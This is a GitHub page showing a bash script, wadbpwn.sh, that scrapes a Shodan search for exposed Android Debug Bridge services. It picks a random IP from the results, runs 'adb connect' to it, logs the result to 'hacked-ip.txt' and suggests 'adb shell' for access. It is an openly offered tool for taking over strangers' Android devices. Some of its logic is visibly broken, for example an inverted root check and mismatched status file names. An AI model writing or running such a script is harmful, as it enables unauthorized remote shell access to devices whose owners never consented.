-
Notifications
You must be signed in to change notification settings - Fork 11
/
wadbpwn.sh
executable file
·151 lines (133 loc) · 6.93 KB
/
wadbpwn.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/bin/bash
################################################################################
################################################################################
#### #####
#### A notice to all nerds. #####
#### If you will copy developers real work it will not make you a hacker. #####
#### Resepect all developers, we doing this because it's fun! #####
#### #####
################################################################################
################################ SOURCE CODE ###################################
################################################################################
###################### XXXXXXX WAS FOUNDED BY WUSEMAN ##########################
################################################################################
#### #####
#### XXXXX #####
#### Copyright (C) 2018-2019, wuseman #####
#### #####
#### This program is free software; you can redistribute it and/or modify #####
#### it under the terms of the GNU General Public License as published by #####
#### the Free Software Foundation; either version 2 of the License, or #####
#### (at your option) any later version. #####
#### #####
#### This program is distributed in the hope that it will be useful, #####
#### but WITHOUT ANY WARRANTY; without even the implied warranty of #####
#### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #####
#### GNU General Public License for more details. #####
#### #####
#### You must obey the GNU General Public License. If you will modify #####
#### this file(s), you may extend this exception to your version #####
#### of the file(s), but you are not obligated to do so. If you do not #####
#### wish to do so, delete this exception statement from your version. #####
#### If you delete this exception statement from all source files in the #####
#### program, then also delete it here. #####
#### #####
#### Contact: #####
#### IRC: Freenode @ wuseman #####
#### Mail: wuseman <[email protected]> #####
#### #####
################################################################################
################################################################################
banner() {
cat << "EOF"
_ ____ ____ ____ _ _
__ __ U /"\ u | _"\U | __")uU| _"\ u__ __ | \ |"|
\"\ /"/ \/ _ \/ /| | | |\| _ \/\| |_) |/\"\ /"/<| \| |> Author: wuseman <[email protected]>
/\ \ /\ / /\ / ___ \ U| |_| |\| |_) | | __/ /\ \ /\ / /\U| |\ |u Version: 1.0
U \ V V / U/_/ \_\ |____/ u|____/ |_| U \ V V / U|_| \_|
.-,_\ /\ /_,-. \\ >> |||_ _|| \\_ ||>>_ .-,_\ /\ /_,-.|| \\,-.
\_)-' '-(_/ (__) (__)(__)_)(__) (__)(__)__) \_)-' '-(_/ (_") (_/
You will succeed, whether you are a professional or a n00b.
========================================================================
EOF
}
mustberoot() {
if [[ $EUID -eq "0" ]]; then
printf "* Root privileges is required for $basename$0\n"
exit 1
fi
}
status() {
ADBW=$(adb devices | sed -n '2p'|awk '{print $2}' | sed 's/device/normal/g')
ADBF="$(fastboot devices | grep fastboot|awk '{print $2}')"
ADBOFF="$(adb devices | sed -n 2p)"
if [[ $ADBW = "normal" ]]; then
echo "normal" > $(pwd)/.wadbpwn-status
elif [[ $ADBW = "unauthorized" ]]; then
echo " * Please allow this pc to authorize" > $(pwd)/.wdroid-status
elif [[ $ADBW = "recovery" ]]; then
echo "recovery" > $(pwd)/.wdroid-status
elif [[ $ADBF = "fastboot" ]]; then
echo "fastboot" > $(pwd)/.wdroid-status
else
echo " * No device connected.."
fi
}
mustbeinnormalmode() {
if [[ ! $(cat $(pwd)/.wdroid-status) = "normal" ]]; then
echo "Device must be in normal mode for this feature, aborted.."
exit 1
fi
}
requirements() {
mustbeinnormalmode
adb="$(which adb 2> /dev/null)"
distro=$(cat /etc/os-release | head -n 1 | cut -d'=' -f2 | sed 's/"//g')
if [ -z "$adb" ]; then
read -p "Install adb (Y/n) " adbinstall
fi
case $adbinstall in
"Y")
sleep 1
case $distro in
"Gentoo")
echo -e "\nIt seems you running \e[1;32m$distro\e[0m wich is supported, installing adb...."
emerge --ask android-tools ;;
"Sabayon")
echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
emerge --ask android-tools ;;
"Ubuntu")
echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
apt update -y; apt upgrade -y; apt-get install adb ;;
"Debian")
echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
apt update -y; apt upgrade -y; apt-get install adb ;;
"Raspbian")
echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
apt update -y; apt upgrade -y; apt-get install adb ;;
"Mint")
echo -e "It seems you running \e[1;32m$distro\e[0m wich is supported, installing adb....\n"
apt update -y; apt upgrade -y; apt-get install adb ;;
"no") echo "Aborted." ;
exit 0 ;;
esac
echo -e "This tool is not supported for $distro, please go compile it from source instead...\n"
esac
}
root_required() {
adb shell which su &> /dev/null; if [[ $? = "1" ]]; then echo "This option need device to be rooted, aborted..";exit 1; fi
}
TARGETS="https://www.shodan.io/search?query=android+debug+bridge"
mustberoot
status
banner
curl -sL $TARGETS|grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b'|shuf -n 1|xargs adb connect > hacked-ip.txt
if [[ $(cat hacked-ip.txt |awk '{print $3}' |sed 's/^/Woohha!! You have been successfully connected to: /g'; echo) = "connected" ]]; then
printf "* Something went wrong, please try again..\n"
else
cat hacked-ip.txt |awk '{print $3}' |sed 's/^/Woohha!! You have been successfully connected to: /g'; echo
# Let us remove the text file and exit the program..
rm hacked-ip.txt &> /dev/null
echo -e "Hint: use 'adb shell' for enter the device shell..\n"
exit 1
fi